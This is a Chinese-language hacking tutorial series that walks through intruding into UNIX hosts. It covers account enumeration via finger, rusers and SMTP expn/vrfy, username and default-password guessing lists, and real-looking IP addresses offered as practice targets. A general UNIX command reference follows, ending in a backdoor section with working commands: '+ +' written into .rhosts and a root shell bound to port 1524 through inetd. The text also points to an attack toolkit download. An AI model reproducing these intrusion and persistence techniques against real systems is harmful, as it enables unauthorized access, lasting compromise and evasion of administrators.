  同时，很多人也会找我破译信箱聊天室OICQ密码，聊天室踢人.....真是无聊，我吃饱没事做，也不会做这些重复的无聊的没有意义的事情，就算你破了10000个密码，你踢了10000个人又能说明你自己什么呢？朋友们，不要浪费你宝贵的上网时间！多做点有意义的东西吧。

一般我们hacking的步骤是：

1.收集资料

2.远程攻击

3.远程登陆

4.取得普通用户的权限

5.取得超级用户的权限

6.留下后门

7.清除日志

其中可以简单的分为：

1.取得第一个帐号

2.取得超级用户权限

3.留下后门

4.擦"脚印"

我们今天来说说如何找到我们的第一个帐号！

（１）.首先我们先确定目标，比如反动站点！如果没什么具体的目标，就用上次我发给大家的Superscan 3.0汉化版来扫描一段网段，查找活动的主机。我喜欢用它扫描79端口。它扫描生成的资料很好。用多了就会知道的。：） 我们也可以用搜索引擎来找！比如我们在引擎中输入日本，就可以找到一大堆有关日本的网站和网页。然后我们就在当中找一个试试。：）

（２）.然后就是资料收集。确定我们的目标后，我们要对他进行一系列的扫描。比如用Superscan 3.0来进行端口扫描。用Twwwscan 来进行WEB漏洞扫描。用Nmap,Saint,Satan或者其他一些扫描器对目标进行全方面的扫描。刚开始时我们说的就是一个很好的例子，看有什么漏洞能够直接得到密码档或者执行命令！这样可以省很多事情。

1.首先我们可能会先ping 一下主机！来判断一下主机的类型。

比如我们： ping www.eee.com.tw　#假设地址：）

Pinging www.eee.com.tw [203.69.121.***] with 32 bytes of data:

Reply from 203.69.121.***: bytes=32 time=60ms TTL=243

Reply from 203.69.121.***: bytes=32 time=60ms TTL=243

Reply from 203.69.121.***: bytes=32 time=80ms TTL=243

Reply from 203.69.121.***: bytes=32 time=70ms TTL=243

Ping statistics for 203.69.121.***: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds:

  Minimum = 60ms, Maximum = 80ms, Average = 67ms

我们可以看到time=60ms是用的时间，反映跟目标机器的速度。

我们可以看到TTL=243 我们可以来大概看到机器的类型。Sunos 5.6 。如果TTL=128就是Win2000.这些大家平时也可一注意一下。：）慢慢积累嘛。

2. Ping了机器后，我们将对目标进行端口扫描，主要是是通过扫描找出目标系统开放的服务端口从而推断出目标系统上运行的服务，再根据这些服务查找相关的资料。 端口扫描有很多，我常用的是向大家吐血推荐的Superscan 3.0，常用的端口有：21=ftp，23=telent，25=smtp，79=finger，110=pop3，111=sunrpc， 513=login， 514=shell， 515=printer。。。

  21 ftp端口，我们可能就会联想到wu-ftp2.X远程溢出。

  23 telnet端口，至少我们知道可以远程登陆执行命令，telnet ip 上去看看系统信息。：）

  25 smtp端口，可以验证用户,还有sendmail系列的漏洞。

  79 finger端口，我们可以用这个端口列表主机的用户资料。：）

  110 pop3端口，我觉得他没什么用。

  111 rpc端口，试试一些著名的远程溢出。

  513 可以用rlogin，或者有的机器已经被人做了.rhosts后门了。：）也试试rlogin的远程溢出哦。

  514 跟rlogin差不多，不过他不用登陆。：）

  515 网络打印？试试netpr.c　：）

。。。

所有这些服务或者无偿向外界提供关于系统的重要知识，或者提供某种使用户可以"登录"到系统的方法，或者使得用户可以远程执行系统中的程序，所以都有可能是网络入侵的重要途径。

3.我们一般扫描完端口后，开了23 telent, 就telnet ip 上去看看系统版本信息，然后再看看这个版本有没有什么重大的漏洞。：）

telnet www.eee.com.tw

我们可以看到类似的信息：

SunOS 5.6

login:

我们就可以看到它的是Sunos 5.6.

然后我们想想这个版本有什么好利用的漏洞吗？：）

这台机器也开了79端，我们来finger他一下，

这是最原始的也是最有效的获得第一个用户帐号的方法。

我们在Linux/UNIX/NT下执行，Win9x不能。

finger @www.eee.com.tw

看看有没有在线用户。

[www.eee.com.tw]

No one logged on

没人在线。

finger @www.eee.com.tw

[www.epson.com.tw]

Login Name TTY Idle When Where

robert RD 　　　　　　　　< . . . . >

rd-1 RD 　　　　　　　　　< . . . . >

rd-2 RD 　　　　　　　　　< . . . . >

rd-3 RD 　　　　　　　　　< . . . . >

rd-4 RD 　　　　　　　　　< . . . . >

agent all agents login 0 ettdb

artwork ???　　　　　　　 < . . . . >

oracle ??? 287

eee survey ??? pts/2 epson5

eeeclub ???　　　　　　 < . . . . >

webadm ??? pts/1　　　　　 eee5

agtrpt all agents login 　< . . . . >

genuine ??? 791 　　　　　ettdb

weblink ??? 349 　　　　　eee5

wardpro ??? 791 　　　　　ettdb

nstark ??? pts/1　　　　　 eee5

eee ??? pts/2 　　　　　　　202.111.143.*

cbgmaster ??? pts/2　　　　 210.12.11.*

我们的好东西出来了。

Login下面的就是主机上的用户！

我们也可以finger username@www.eee.com.tw来看相对应用户的资料。：）

finger cbgmaster@www.eee.com.tw

大家可以找台机器试试。

202.228.128.34

202.228.128.33

202.228.128.35

202.228.128.36

202.228.128.38

202.228.128.39

202.228.129.21

小日本的可以finger的ＩＰ

大家都看看吧。

关于Win9x的finger，我们可以用软件实现。比如天行的网络刺客2,和补天网的finerf.

这里我推荐finerf.

大家可以到这里下载：http://www.cnhonker.com/finger.zip

先杀毒哦。：）

在win9x下用Superscan 3.0扫描79端口，然后用fingerf得到用户是一个很好的配合！

如果finger出来的用户太多，我们可以用小榕的流光的ftp探测来帮我们验证。

一般来说，允许ftp的也允许在主机上telnet的。

我们也可以用rusers命令，"remote users"，顾名思义，即询问远程主机关于其用户的信息，跟finger有类似之处。

rusers -l www.eee.com.tw

root www.eee.com.tw:console May 7 10:03 22 (:0)

john www.eee.com.tw:pts/6 May 7 12:56 26 (mor.com)

will www.eee.com.tw:pts/7 May 7 10:11 (zw.com)

mary www.eee.com.tw:pts/11 May 7 09:53 3:37 (foo.com)

paul www.eee.com.tw:pts/10 May 7 13:08 18 (sil.com)

列出www.eee.com.tw上所有活动的用户

这里这个命令我们只能在linux/Unix下用。

所以，我们最好自己装一个linux.

通过25端口确定用户。

telnet www.eee.com.tw 25

Trying xxx.xxx.xxx.xxx...

Connected to www.eee.com.tw.

Escape character is '^]'.

220 numen.com ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800

(CST)

expn root

250 Super-User

expn eee

250

vrfy www

550 www... User unknown

使用"vrfy"或"expn"命令，可以判断特定用户名是否存在主机上，

如上面"root,eee"为主机上存在的用户，"www"则是不存在的用户。

其用处在于：如果不能用finger或rusers获得目标主机上的用户列表，可以用这种方法猜测用户名

通过猜测一些常用帐号，我们来确定主机存在的用户名。

然后我们才能通过这个帐号来破解。

还有，我们通常也可以看看域名，主机名，主页的联系信箱来猜猜用户名。

主机名我们可以通过ftp上去看到。

C:\>ftp www.eee.com.tw

Connected to www.eee.com.tw.

220 eee FTP server (SunOS 5.6) ready.

    ===eee就是主机名！

User (www.eee.com.tw:(none)):

当然我们也可以猜测一些常用用户名来试主机的密码。

下面是我常见到的帐号信息。大家可以参考。

root admin sys guest ftp system system32 smtp mail site linux daemon bin test www adm html web webmaster anon oracle sybase database install john reboot tom sync info infomix　public webadm webadmin server　user 等等

大家完全可以做一个常用帐号字典来用ftp探测密码。

其中oracle用户的默认密码是oracle

碰到多了你会发现很多的密码都没改！

4.当然我们也要对对方进行一些漏洞扫描。以便看看我们有什么可以直接利用的漏洞。就省去破密码了。twwwscan 扫描web漏洞不错。比如看看有没有常用的php.cgi漏洞。其他的一些综合的强大的扫描就要用到nmap.satan等扫描器了。比如rpc漏洞等。这些程序都可以通过搜索引擎来找！

5.关键是我们平时知识的积累，确定一个目标，知道它的系统和服务，我们就能想到它的相关漏洞资料是最好的。当然我们的最高境界是发现漏洞。：）

第一篇关于UNIX的教程，乱写了一篇。：（

没办法。

对了。关于UNIX的命令我们将在下一篇介绍！

最后祝大家在新的世纪有更多的收获！
  ------------------　UNIX系统和常用命令简介

==========================================

大家都在催我写教程，但实在是要写的太多太繁琐了．

命令介绍更不没有什么技术可言，又不是几句话就可以说清楚的．所以一拖再拖．

不好意思，让大家久等了．：）

OK,首先我们来看看UNIX的解释

Unix

Unix操作系统

    1968年，Ken Thompson（科恩·汤普生）、Dennis Ritchie（丹尼斯·瑞奇）和AT&T（贝 尔实验室）的人在进行关于MULTICS项目的研究工作时，他们完成了第一个命令解释器 （SHELL）和一些简单的文件处理工具。他们用GE系统为PDP-7进行交叉编译，写好了 汇编器（Assembler）……这时这个系统就算的上是最初的Unix。当然了，当时他们并不是 这么认为的。到了1969年！第一个Unix诞生，当时Unix支持的硬件均是DEC公司的PDP-7， 软件是ken Thompson自己开发的。最初的Unix跟现代的Unix在框体上相似，使用I-节点， 而且有特殊的文件类型来支持目录和设备。所以也有人说Unix是裁剪了的MULTICS……而 随着Ken Thompson开发的同时，Dennis Ritchie、Brain Kernighan等人也创建了一种新的编 程语言--那就是现在的C语言。Ken等人也就随着C的发展在73年用C全部重新写了一 遍Unix核心，包括Shell。这无疑是增加了系统的稳定性能，也使编程和调试变得容易得多 了，随之，Unix替代了PDP-11上的DEC公司的操作系统，而Ken随后将Unix的代码公布 了。这对Unix的以后发展起了很大的推动性。77年，Interactive Systems公司开始向最终用 户出售Unix ，这使得Unix成为了商业产品……一直到今天完美的Unix。

    Unix能流行起来绝对不是偶然的，这跟Unix它本身的特点之突出是分不开的。值得庆 幸的是老早的Unix和现在的Unix都有着它可炫耀的（可移植性）特点，那些就是：1、启 动异步进程的能力；2、一致的文件、设备和进程间I/O;3、层次化的文件系统；4、用其它 Shell来替代默认Shell的能力。Ken Thompson博士本人曾获诺贝尔奖。而在黑客领域中， Unix是很受欢迎的，因为网络基本上是以Unix为基础的，至少大站是如此。再者就是Unix 价格值得庆幸。不过存在的问题是Unix在拨号Modem配置方面很麻烦。

同时我们也说说Linux

Linux

Linux操作系统

    Linux属于PC机上的Unix。它是90年代初期由芬兰的Linus Torvalds最先开发的，开发之后作者用了GPL（公共版权协议，一种允许任何人以任何方式复制与散发的程序源代码的形式）的形式进行发布的。Linux继承了Unix操作系统的稳定、安全和可靠等特点，同时Linux在运行速度上大大超过了WinNT，Linux还在数据库商业核心领域中发挥了巨大的作用。再加上GPL发行的优越性使Linux目前成了最受用户喜爱的操作系统之一。

因此我们在这里统一把unix和linux一起介绍． 它们是很相似的,它们的大多数命令都是一样的。

下面我们统称为UNIX。

UNIX系统的特点有：

    分级树形文件结构、文件、目录表和外部设备作为文件统一管理、提供功能完备的命令程序语言"Shell语言"、提供了各种程序设计语言和大量的程序设计子系统、系统核心和外部程序大部分采用Ｃ语言编写、采用进程映像对换技术、系统效率高。

UNIX是多用户的操作系统，要使用系统之前必须输入用户名和密码，经系统验证无误后方能使用。

通常UNIX系统的用户有两种：

1.root ---根用户

    这是超级用户帐号，可以用这个帐号对系统进行所有操作！获得对系统的根访问权限，也是黑客们拼命追求的东西．

2.普通用户

    给普通用户使用，具体权限由root分配．一般的进攻步骤是，先获得普通用户权限再利用系统的漏洞进一步夺取根权限，即最终成为root．这里普通用户占了很重要的位置．当然也有很多系统漏洞可以不用普通用户权限也能获得系统的根访问权限．比如比较常用的：Sunos 的rpc.cmsd， Redhat的rpc.statd，IRIX的telnetd等等，都是很好利用的远程溢出．存在这种远程溢出漏洞的机器，攻击者可以在远程直接获得系统的根权限．

所以，在UNIX中，密码文件是很重要的．许多UNIX系统的加密口令都是保存在/etc/passwd文件中，而这个文件是需要对于普通用户是可读的。这样，只要有一个帐号就可以得到该文件，然后使用一些口令测试方法或者软件就可以猜测用户口令。目前，UNIX系统大多将加密口令设置到只有超级用户可以读的/etc/shadow文件中，可以增加获得加密口令的难度。 但我们依然从/etc/passwd得到机器上的用户列表．

常见的UNIX系统

AIX

BSD

FreeBSD

IRIX

HP-UX

SunOS（Solaris）

LINUX系列

等等

更多关于UNIX系统的资料只有你自己去找相关的书籍来看了．下面转入正题．

通常，一般简单的入侵，我们只要懂得下面的命令就可以很顺利的在目标机器上操作了．：）

UNIX命令基础

1. 输出入转向

在UNIX中，每一个程序均有三个特殊的文件描述, 标准输入( standard input )、标准输出 ( standard output )、标准错误输出( standarderror )。

这三个平常是接受终端的输入，而由终端显示出去。

但是 UNIX 提供使用者可以使用一般的档案或 管道(pipe)来取代这些标准输出入设备。

在sh 里头，使用者可以利用">"和"<"来进行输出入转向的工作。

a.输出转向：

command > file

你可以将一个指令的输出结果转向到一个档案，让此档案储存这个命令的输出结果。

但是请注意，如果文件已经存在在系统中，则文件将会被盖过。也就是原先文件的内容将会消失。

command >& file

与 > 相同，但是这个格式表示连标准错误输出一起转向。

在 UNIX 中，标准错误输出在程序的习惯是用来显示错误的发生，因此如果 没有被转向时，标准错误输出的结果将会被转向到进程 ，而标准错误输出的结果仍将显示在终端上。

command >> file

此格示代表将标准输出的结果添加到文件中。如果文件已存在在系统中，则标准输出的结果将会加到 文件 的末端，如果 文件 原先并不存在，则 文件 将会被开启而将标准错误输出的结果存至 文件 中。

command >>& file

同上，不过此格式代表连标准错误输出一起添加到文件之中。

b.输入转向：

command < file

一般程序须要自终端机输入资料，而你可以将程式所要输入的资料统一编入档案中，利用转向一并输入。

set ignoreeeof

由于转向输出会有将现有档案覆盖的危险，csh 与 tcsh 提供使用者用这个方式来避免。

当你执行 set ignoreeeof 之後，如有输出转向到已存在之档案时，它会发出一个档案已存在的讯息。

而在处理添加转向上，如果已经 set ignoreeeof ，则当要添加到一个不存在的档案，将会出现一个错误信息。

然而如果我们当真是要转向盖过一个已存在的档案，或者是要添加一个不存在的档案时，又要如何呢?

我们只要在 ">" ">&" ">>" ">>&" 後面加上惊叹号"!"，成为 ">!" , ... 就可以了。

2. 管道(Pipe)

如同前面说的转向，管道也是在标准输出入和标准示误装置间作取代动作，如一来可以将某一个程式的输出连到另一个程式的输入中。其语法如下：

command1 command2 [ command3 ....]

command1 & command2 [ & command3 ....] <--- 连标准错误输出一起用管道

3. 前景与背景（前台和后台）

在 sh 下面，一个新产生的进程可以经由命令後面的符号';'和'&'来分 别前景和背景。

如以下语法

command

这表示产生一个前景的进程，你要等到它结束才能再下另一个指令。

command &

这样表示产生一个前景的进程，它会给你一个类似以下的讯息:

[1] 21304

然後就出现下一个提示号，以供你给下一个指令。

然後在这个前景的 进程结束的时候再给你一个如下面的讯息，告诉你它把这个进程执行完毕了。

[1] Done command command1 ; command2 ; command3

这样表示你要求系统连续执行 command1 , command2 , command3 三个指令，

其中 command2 要等待 command1 ， command3 要等待 command2 ，而你要等 待 command3 执行完毕才能下指令。

command1 & command2 & command3 & 这样表示你要求系统连续执行 command1 , command2 , command3 三个指令，

而这三个指令都放在背景执行，彼此之间不需等待。

fg 与 bg

也许你会问，一个已经执行的进程可不可以由前景换背景，或由背景换景呢? 可以的。

一个在前景执行的进程，你可以按 Ctl-Z 将进程暂停， 系统会给你一个讯息:

Suspended

然後出现提示号。此时你可以使用 fg 将其恢复前景执行，或按 bg 将其改为背景执行。

而如果有一个前景的进程, 你也可以用 fg 指令将其呼叫到前景。

首先你需用 jobs 指令来观查目前有多少在背景下的进程，然後根据所显示出来的 job id 来决定将那一个进程放到前景。 如使用 % fg %3 # 将第三个 job 放到前景。

UNIX常用命令介绍

下面主要讲解UNIX下基本命令的使用，由于时间和篇幅的原因，无法写出所有UNIX命令。

你在使用这里没有列出的命令时，可以使用"--help"参数查询该命令所附的帮助．

比如: ls -help将显示ls命令的详细信息．

同时，你也可以利用man来查询更详细的使用说明。

直接敲入man将显示所有命令的信息．

如果你只想看一个命令的信息就用如下格式

man <命令名>

比如在UNIX系统中敲入man ls将显示ls的详细信息．

按q键退出man界面．

如下命令介绍按字母顺序排列：

命令：at

介绍：at， batch， atq， atrm：安排，检查，删除队列中的工作。

at [-V] [-q 队列] [-f 文件名] [-mldbv] 时间

at -c 作业 [作业...]

atq [-V] [-q 队列] [-v]

atrm [-V] 作业 [作业...]

batch [-V] [-q 队列] [-f 文件名] [-mv] [时间]

at 在设定的时间执行作业。

atq 列出用户排在队列中的作业，如果是超级用户，则列出队列中的所有工作。

atrm 删除队列中的作业。

batch 用低优先级运行作业，只要系统的loadavg（系统平均负载）<1.5（或者在atrun中设定的值）它就开始执行作业。 超级用户可以在任何情况下使用at系列的命令。

一般用户使用at系列命令的权利由文件 /etc/at.allow，/etc/at.deny控制。

如果/etc/at.allow存在，则只有列在这个文件中的用户才能使用at系列的命令。

如果/etc/at.allow文件不存在，则检查文件/etc/at.deny这个文件。

只要不列在这个文件中的用户都可以使用at系列的命令。

缺省的配置是/etc/at.deny为一个空文件，这表明所有的用户都可以使用at系列的命令。

范例：

at -f work 4pm + 3 days　在三天后下午4点执行文件work中的作业。

at -f work 10am Jul 31 　在七月31日上午10点执行文件work中的作业。

命令：bash

介绍：bash - GNU Bourne-Again SHell 自由软件基金会（Free Software Foundation Inc）拥有bash版权。

bash是Linux下的许多命令解释器中的一个，同sh兼容，并且包含了ksh和csh中一些有用的特性。

遵从IEEE Posix Shell and Tools specification (IEEE Working Group 1003.2)。

命令：cat

介绍：cat - 连接文件并打印到标准输出。

cat是CATenate的缩写，常常用来显示文件，类似于DOS下的TYPE命令。

范例：

[root@cnhonker.com /]# cat -b -E .lessrc 显示文件.lessrc的内容

1 back-line $$

3 forw-scroll$

4 back-scroll $

5 goto-line$

6 goto-end$

[root@cnhonker.com /]# cat myfile1 myfile2 >tmp

将文件myfile1，myfile2 连结起来输出到文件tmp

命令：cd

介绍：cd - 改变当前目录。

cd 目录名

如果不加目录名，则回到用户的根目录，此外用户必须拥有读该目录的权限。

进入另外一个用户的目录只要 cd ~用户名即可。

范例：

cnhonker:/tmp> cd id1

进入id1目录

cnhonker:/tmp/id1>cd ~lion

进入用户lion的目录

cnhonker:~lion>

命令：chgrp

介绍：chgrp - 改变文件的组。

组 要改变到的组可以是组号对应的数字;也可以是/etc/group文件中的组名。

文件名：空格分开的要改变组所有权的文件列表，支持通配符。 如果用户不是该文件的属主或超级用户，则不能改变该文件的组。

范例

[root@cnhonker.com /]# chgrp -R book /opt/local/book/*.*

改变/opt/local/book/及其子目录下的所有文件的组为book。

命令：chmod

介绍：chmod -改变文件保护，文件保护控制用户对文件的访问权，

有三个安全级别：所有者级别，组访问级别，其他用户访问级别，

在这三个级别中，又有三种权限：读（r），写（w），执行（x）。

（用户可以 ls -lg来观看某一文件的所属的group）

对于文件来说读权限意味着可以看文件的内容，写文件权可以修改或删除文件，执行权限则可以执行它

（类似于DOS 下的EXE，COM，BAT文件）。

对于目录来说，读权限意味着可以查看目录下的内容，写权限意味着能在目录下建立新文件，并可以从目录中删除文件，执行权限意味着可以从一个目录转变到另一个目录。

保护权限 ： 格式为[ugoa...][[+-=][rwxXstugo...]...][，...] "ugoa"控制哪些用户对该文件的权限将被改变：

（u）文件的所有者， （g）与文件所有者同组的用户

（o）其他组的用户

（a）所有用户，操作符 "+"使得用户选择的权限被追加到每个目标文件。操作符 "-"使得这些权限被撤销。 "="使得目标文件只具有这些权限。 "rwxXstugo"选择新的属性。

（r）读权限

（w）写权限

（x）执行权（或对目录的访问权）

（X）只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x属性

（s）同时设定用户或组ID

（t）保存程序的文本到交换设备上

（u）目标文件属主

（g）目标文件属主所在的组

（o）其他用户。

如果用数字来表示属性，则

（0）没有权限，

（1）执行权，

（2）读权，

（4）写权，

然后将其相加，所以数字属性的格式应为3个从0到7的八进制数其顺序是（u）（g）（o）。

文件名：空格分开的要改变权限的文件列表，支持通配符。

范例：

cnhonker~>chmod a+x destfile 使所有用户对文件destfile有读写执行权。

cnhonker~>chmod 644 destfile 使所有用户可以读文件destfile只有属主才能 改变。

命令：chown

介绍：chown - 改变文件的属主和组。

用户： 可以是用户名或用户id。

组： 可以是组名或组的id。

文件名 ： 以空格分开的要改变权限的文件列表，支持通配符。

范例：

cnhonker~>chown tlc:book destfile 将文件destfile的属主改成tlc组改成book。

命令：chsh

介绍：chsh 改变用户登录的shell。

chsh [-s 登录的shell] [用户名]

普通用户可以改变自己的登录shell，超级用户可以改变其他用户的登录shell，所有的shell 必须是在/etc/shells文件中列出的sahell ，但是超级用户不受这个限制。

如果用户的shell是一个受限制的shell则用户不能改变其登录shell。

如果不加-s参数则chsh输出用户的当前登录shell并提示用户输入新shell的路径。

改变shell时都需要输入用户的密码。

范例：

[root@cnhonker.com /]# chsh

Password: *****

Changing the login shell for tlc Enter the new value， or press return for the default Login Shell

[/bin/csh]: /bin/tcsh

[root@cnhonker.com /]#

命令：clear

介绍：clear - 清除屏幕（类似于DOS的cls）

范例：

cnhonker~>clear

清除屏幕，提示符被移动到左上角。

命令：cp

介绍：cp - 拷贝文件。

cp [options] 源文件 目标文件

cp [options] 源文件... 目标目录

-f， --force ： 删除已存在的目标文件。

-i， --interactive ： 在删除已存在的目标文件时给出提示。

-R， --recursive 整目录拷贝。

--help 在标准输出上输出帮助信息并退出。

--version 在标准输出上输出版本信息并退出。

范例：

[root@cnhonker.com /]# cp sourcefile destfile

拷贝文件sourcefile到文件destfile。

[root@cnhonker.com /]# cp * /tmp

拷贝当前目录下所有文件到/tmp目录。

命令：crontab

介绍：crontab - 操作每个用户的守护程序和该执行的时间表。

crontab file [-u user] - 用指定的文件替代目前的crontab。

crontab - [-u user] - 用标准输入替代目前的crontab。

crontab -l [user] - 列出用户目前的crontab。

crontab -e [user] - 编辑用户目前的crontab。

crontab -d [user] - 删除用户目前的crontab。

crontab -c dir - 指定crontab的目录。

crontab文件的格式：M H D m d cmd

M ： 分钟（0-59）

H ： 小时（0-23）

D ： 天（1-31）

m ： 月（1-12）

d ： 一星期内的天（0-6，0为星期天）

cmd： 要运行的程序，程序被送入sh执行，这个shell只有USER，HOME，SHELL这三个环境变量。

下面是一个例子文件：

# MIN HOUR DAY MONTH DAYOFWEEK COMMAND

# 每天早上6点

10 6 * * * date

# 每两个小时

0 */2 * * * date

# 晚上11点到早上8点之间每两个小时，早上部点

0 23-7/2，8 * * * date

# 每个月的4号和每个礼拜的礼拜一到礼拜三的早上11点

0 11 4 * mon-wed date

# 1月份日早上4点

0 4 1 jan * date

范例：

[root@cnhonker.com /]# crontab -l

列出用户目前的crontab。

# MIN HOUR DAY MONTH DAYOFWEEK COMMAND

10 6 * * * date

0 */2 * * * date

0 23-7/2，8 * * * date

（通常，在放后门时，我们可以利用这个文件使机器在特定的时间运行我们的后门程序．：）

命令：date

介绍：date - 打印或设置系统日期和时间。

date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]

+FORMAT ：控制如何显示日期

指令：

% ： %号

n ： 新行

t ： TAB

时间域：

%H 小时 （00..23）

%I 小时 （01..12）

%k 小时 （ 0..23）

%l 小时 （ 1..12）

%M 分钟 （00..59）

%p AM 或 PM

%r 12小时 （hh:mm:ss [AP]M）

%s 从1970-01-01 00:00:00 UTC 开始的时间

%S 秒 （00..61）

%T 24小时 （hh:mm:ss）

%X 时间表示 （%H:%M:%S）

%Z 时区（如EDT）如没有指定时区则不显示

日期域：

%a 缩写形式的星期名 （Sun..Sat）

%A 星期名（Sunday..Saturday）

%b 缩写形式的月名 （Jan..Dec）

%B 月名 （January..December）

%c 日期和时间 （Sat Nov 0:02:33 EST 1989）

%d 每个月的第几天 （01..31）

%D 日期 （mm/dd/yy）

%h 等同于 %b

%j 一年的第几天 （001..366）

%m 月份 （01..12）

%U 一年中的第几个星期，星期天为星期的第一天 （00..53）

%w 每个星期的第几天（0..6） 0为星期天

%W 一年中的第几个星期，星期一为星期的第一天 （00..53 (00..53）

%x 日期 （mm/dd/yy）

%y 年份的后两个数字 （00..99）

%Y 年份 （1970...）

[MMDDhhmm[[CC]YY][.ss]

MM 月份

DD 日期

hh 小时

mm 分钟

CC 年份的前两位 （可选项）

YY 年份的后两位 （可选项）

ss 秒 （可选项）

只有超级用户才有权限设置系统时间（启动时在CMOS中读出）。

-d datestr， --date dates ： 显示datestr中指定的日期和时间。

-s datestr， --set datestr ： 设定datestr中指定的日期和时间。

-u， --universal ： 显示或设定格林威治时间（缺省为本地时间）。

--help ： 在标准输出上输出帮助信息并退出。

--version ： 在标准输出上输出版本信息并退出。

范例：

印两天前的时间：

[root@cnhonker.com /]# date --date '2 days ago' Fri Aug 22 20:20:08 CDT 1997

打印月份和日期：

[root@cnhonker.com /]# date '+%B %d' August 24

命令：echo

介绍：echo 是用来显示一字串在终端机上。

echo -n 则是当显示完之後不会有跳行的动作。

命令：exit

介绍：exit 用来退出上次的登陆．

命令：file

介绍：file - 探测文件类型。

范例：

cnhonker:/tmp> file *

destfile: ASCII text

elm.rc.OLD: English text

portnum: empty

rc.inet1.OLD: Bourne shell script text

命令：find

介绍：find - 用来在大量目录中搜寻特定文件的强有力的工具。

  ------------------　UNIX系统后门的安放和日志的擦除

==========================================

附件：HUCkit.zip

教程所需软件：HUCkit.zip（附件）

http://www.cnhonker.com/HUCkit.zip

一.后门的安放

当我们通过某种手段控制一个主机时，为了使自己能再次光顾这台计算机，我们通常在这个机器上留下后门，以便我们再次访问．一个做得好的后门，即使在入侵被管理员发现后，仍然能让你再次访问到主机．

本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限，下面介绍一下我常用的制作后门的手法，不会也不可能覆盖到所有可能的方法，请原谅．

1.Rhosts + + 后门

    在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

例如：

# echo '+ + ' > /usr/bin/.rhosts

# cat /usr/bin/.rhosts

+ +

# rlogin -l bin localhost

将不用输入密码直接用bin帐号rlogin登陆进你的机器．

2.Login后门

    在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

一般的rootkit包里都有login后门程序．

3.服务进程后门

    inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7)

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

talk dgram udp wait root /usr/sbin/in.talkd in.talkd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。

2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。

3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。

4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。

5：第五栏给出运行守护进程的用户名。

6：第六栏给出守护进程的全限定路径名。

7：守护进程的真实名字及其参数。 如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

当然我们有一个更简单的方法，

下面的操作bind root shell 1524端口．

# echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x

# /usr/sbin/inetd -s /tmp/.x

# rm -f /tmp/.x

# telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

#

# id

ksh: id^M: not found

# id;

uid=1002(gao) gid=1(other) euid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

#

注意，这样bind的shell在telnet上去后，你要在你想执行的命令后面添加一个" ; "号．即你要执行id命令的输入应为: id;

当然你也可以把ingreslock换成其他服务．具体请查看/etc/services寻找对应的服务名和端口．

下面为部分/etc/services内容．

# cat /etc/services

#ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */

#

# Network services, Internet style

#

tcpmux 1/tcp

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

mail time 37/tcp timserver

time 37/udp timserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/udp

domain 53/tcp

bootps 67/udp # BOOTP/DHCP server

bootpc 68/udp # BOOTP/DHCP client

...

...

4.port bind suid Shell 后门

    入侵者可能在任意端口bind suid Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉.

